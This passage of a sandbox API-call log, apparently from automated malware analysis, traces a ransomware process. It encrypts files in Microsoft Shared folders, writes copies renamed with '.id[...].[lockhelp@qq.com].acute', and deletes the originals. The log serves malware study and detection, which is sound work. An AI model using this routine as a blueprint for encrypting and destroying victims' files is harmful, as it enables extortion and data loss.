pdwDataLen=0x329f6b0*=0x40) returned 1 [0054.052] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.052] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0054.052] CryptDestroyKey (hKey=0x593220) returned 1 [0054.052] CloseHandle (hObject=0x174) returned 1 [0054.052] CloseHandle (hObject=0x194) returned 1 [0054.053] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0054.054] SetEvent (hEvent=0x14c) returned 1 [0054.054] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0054.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.054] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=8918) returned 1 [0054.054] CloseHandle (hObject=0x194) returned 1 [0054.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0054.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.055] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.055] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.057] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0054.057] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.057] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x22d6, lpOverlapped=0x0) returned 1 [0054.059] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x22e0, dwBufLen=0x22e0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x22e0) returned 1 [0054.059] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x22e0, lpOverlapped=0x0) returned 1 [0054.060] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0054.060] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.060] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0054.060] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.060] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0054.060] CryptDestroyKey (hKey=0x593220) returned 1 [0054.060] CloseHandle (hObject=0x194) returned 1 [0054.060] CloseHandle (hObject=0x174) returned 1 [0054.061] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0054.062] SetEvent (hEvent=0x14c) returned 1 [0054.062] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0054.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.063] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=39017) returned 1 [0054.063] CloseHandle (hObject=0x174) returned 1 [0054.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 0x20 [0054.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.063] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.063] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.064] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0054.064] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.064] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x9869, lpOverlapped=0x0) returned 1 [0054.439] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x9870, dwBufLen=0x9870 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x9870) returned 1 [0054.459] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x9870, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x9870, lpOverlapped=0x0) returned 1 [0054.531] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931a0) returned 1 [0054.532] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.533] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0054.538] CryptDestroyKey (hKey=0x5931a0) returned 1 [0054.541] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0054.546] CryptDestroyKey (hKey=0x593220) returned 1 [0054.564] CloseHandle (hObject=0x174) returned 1 [0054.564] CloseHandle (hObject=0x194) returned 1 [0054.565] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0054.566] SetEvent (hEvent=0x14c) returned 1 [0054.567] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0054.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.915] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=255) returned 1 [0054.915] CloseHandle (hObject=0x190) returned 1 [0054.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0054.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.924] SetEvent (hEvent=0x14c) returned 1 [0054.934] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0054.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.934] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1074) returned 1 [0054.934] CloseHandle (hObject=0x190) returned 1 [0054.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0054.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.934] SetEvent (hEvent=0x14c) returned 1 [0054.935] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0054.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.366] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2575) returned 1 [0055.366] CloseHandle (hObject=0x174) returned 1 [0055.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0055.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.366] SetEvent (hEvent=0x14c) returned 1 [0055.366] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.367] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2319) returned 1 [0055.367] CloseHandle (hObject=0x174) returned 1 [0055.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0055.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.367] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.367] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=645) returned 1 [0055.367] CloseHandle (hObject=0x174) returned 1 [0055.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0055.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.368] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.368] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0055.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.368] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593260) returned 1 [0055.368] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.368] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x285, lpOverlapped=0x0) returned 1 [0055.369] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x290, dwBufLen=0x290 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x290) returned 1 [0055.369] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x290, lpOverlapped=0x0) returned 1 [0055.370] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0055.370] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0055.370] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0055.370] CryptDestroyKey (hKey=0x593220) returned 1 [0055.370] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0055.370] CryptDestroyKey (hKey=0x593260) returned 1 [0055.370] CloseHandle (hObject=0x174) returned 1 [0055.370] CloseHandle (hObject=0x194) returned 1 [0055.371] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0055.372] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.372] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=3792) returned 1 [0055.373] CloseHandle (hObject=0x194) returned 1 [0055.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0055.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.373] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.373] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=231) returned 1 [0055.373] CloseHandle (hObject=0x194) returned 1 [0055.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0055.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.374] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.374] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=23871) returned 1 [0055.374] CloseHandle (hObject=0x194) returned 1 [0055.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0055.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.374] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0055.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.375] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=5524) returned 1 [0055.375] CloseHandle (hObject=0x194) returned 1 [0055.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0055.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 